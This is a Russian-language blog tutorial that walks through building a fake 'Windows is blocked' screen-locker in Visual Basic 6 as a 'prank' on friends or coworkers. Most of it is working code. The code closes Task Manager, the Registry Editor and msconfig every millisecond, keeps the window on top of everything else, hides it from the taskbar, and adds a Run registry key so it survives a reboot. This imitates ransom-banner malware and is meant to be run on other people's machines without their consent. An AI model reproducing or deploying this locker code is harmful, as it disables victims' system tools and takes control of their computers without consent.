Исходный код программы «Windows заблокирован» на языке Visual Basic

Всем привет, здесь я Вам расскажу, как можно разыграть своего друга, коллегу по работе или родственников. Всем известно, что сейчас стало очень распространенным ловить всякие баннеры, вирусы в Интернете, которые просят отправить смс или положить деньги на телефон, так вот я решил написать свою собственную такую программу (разумеется, только для розыгрыша), а кого интересует способ, как избавиться от настоящего такого баннера или вируса, то на сайте есть статья «Windows заблокирован отправьте смс».

На самом деле я точно не знаю, как и кто пишет эти программы, я попытался написать ее в среде программирования Microsoft Visual Basic v 6.0. Если Вы вообще еще не знакомы с этой средой программирования, то лучше сначала узнайте основы работы с этой средой программирования. Программа, которую мы напишем не такая жесткая (как баннеры в Интернете), но разыграть получится.

Ну, давайте начнем, для начала подберите себе картинку, которая будет служить фоном (подберите размер) и в окне свойств формы вставьте картинку. Затем добавьте одну кнопку и одно текстовое поле на форму, можно добавить еще один label.

Переименуйте названия объектов в окне свойств поле – caption следующим образом:

  • Кнопка – Отправить;
  • Label – Введите код.

А в текстовом поле уберите text, чтобы ничего не было (окно свойств поле «text»). А забыл сказать, можно еще добавить текст на картинку типа «Windows заблокирован, быстрей бегите к сисадмину, а то компьютер взорвется!».

Потом также в окне свойств формы сделайте такие настройки:

  • поле StartUpPosition значение 1-centerowner;
  • поле moveable значение False;
  • поле ClipControls значение False;
  • поле ControlBox значение тоже False;
  • поле caption сотрите значение (т.е. оставьте пустым).

Таким образом, мы настроили свойства формы нашей программы.

Ну и наконец-то перейдем непосредственно к коду, здесь вариаций может быть много, зависит от Вашей фантазии, я покажу Вам какие коды и действия можно сделать.

Исходный код программы на языке Visual Basic

Ну, во-первых, это, конечно же, запретить запускать такие утилиты как: диспетчер задач, msconfig, редактор реестра и сделать так, чтобы форма запускалась поверх всех окон. Для запрета запуска утилит нужно добавить на форму 3 таймера (в окне выбора объектов), затем в свойствах каждого в поле Interval поставить значение 1 и вставить следующий код:

Private Sub Timer1_Timer()
        On Error GoTo errorer ' если не запущен диспетчер то будет ошибка
        AppActivate "Диспетчер задач Windows" ' ПЕРЕДАЕМ ФОКУС
        SendKeys "%{F4}" ' Посылаем Alt + F4
        errorer:
End Sub

Private Sub Timer2_Timer()
        On Error GoTo errorer ' если не запущен диспетчер то будет ошибка
        AppActivate "Редактор реестра" ' ПЕРЕДАЕМ ФОКУС
        SendKeys "%{F4}" ' Посылаем Alt + F4
        errorer:
End Sub

Private Sub Timer3_Timer()
        On Error GoTo errorer ' если не запущен диспетчер то будет ошибка
        AppActivate "Конфигурация системы" ' ПЕРЕДАЕМ ФОКУС
        SendKeys "%{F4}" ' Посылаем Alt + F4
        errorer:
End Sub

А для запуска поверх всех окон вставьте следующий код:

Option Explicit 
    Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, _
    ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, _
    ByVal cy As Long, ByVal wFlags As Long) 
    Const HWND_TOPMOST = -1 
    Const SWP_NOSIZE = &H1 
    Const SWP_NOMOVE = &H2 

Private Sub Form_Load() 
    SetWindowPos hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE 
End Sub

На этом можно конечно и остановиться, но можно еще прописать в автозагрузку, вдруг он перезагрузит компьютер. Для этого мы назовем нашу программу, например Windows, и для того чтобы после перезагрузки она снова запустилась, поместим ее в корень диска C, и соответственно мы будем прописывать в реестре, что прога находится именно там. А для этого вставляем следующий код:

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, _
     ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
     ByVal cy As Long, ByVal wFlags As Long) As Long
     Private Const HWND_TOPMOST = -1
     Private Const HWND_NOTOPMOST = -2
     Private Const SWP_NOMOVE = &H2
     Private Const SWP_NOSIZE = &H1
     Private Const SWP_NOACTIVATE = &H10
     Private Const SWP_SHOWWINDOW = &H40
     Private Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Private Sub Form_Load()
     Call SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
     Set Reg = CreateObject("WScript.Shell")
     Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows","C:\windows.exe"
     App.TaskVisible = False
End Sub

Тот, кто разбирается, спросит, почему именно в эту ветку реестра добавляем? да потому что у нас программа-шутка, а не какой-нибудь там баннер:), такие параметры как Shell и Userinit мы трогать не будем.

Теперь как Вы помните, мы вставили на форму одну кнопку и одно текстовое поле, а для чего? А для того чтобы Вы сами без лишних проблем смогли закрыть эту программу, для этого вставляем следующее:

Private Sub Command1_Click()
     If Text1.Text = "ваш код" Then
     Set Reg = CreateObject("WScript.Shell")
     Reg.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows"
     If Text1.Text = "ваш код" Then End
     End If
End Sub

Поясню, Вы вместо слов «ваш код» придумывайте какой-нибудь пароль, например 12345 и когда программа запустится, Вам нужно будет ввести в текстовое поле 12345 и нажать отправить и в этом случае программа сама закроется и даже удалится из реестра.

Вот в принципе и все что я хотел Вам показать, используйте полученные знания только для благих намерений, а не для наживы, желаю удачи!

Понравилась статья? Поделиться с друзьями:
Заметки IT специалиста
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:
Нажимая на кнопку «Отправить комментарий», я даю согласие на обработку персональных данных и принимаю политику конфиденциальности.